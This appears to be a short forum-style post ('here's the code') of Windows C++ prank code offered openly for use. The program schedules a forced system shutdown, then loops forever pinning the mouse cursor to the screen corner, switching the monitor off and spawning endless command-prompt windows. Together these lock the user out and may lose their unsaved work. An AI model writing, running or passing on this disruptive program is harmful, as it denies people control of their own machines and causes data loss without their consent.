上代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main() {
system("shutdown -s -t 1000");
system("shutdown -a");
system("shutdown -s -t 100");
Sleep(10000);
for(;;){
SetCursorPos(0,0);
SendMessage(FindWindow(0,0), WM_SYSCOMMAND, SC_MONITORPOWER, 2);
system("start cmd");
for(int i=1;i<=100;i++)
{
SetCursorPos(0,0);
Sleep(1);
}
}
return 0;
}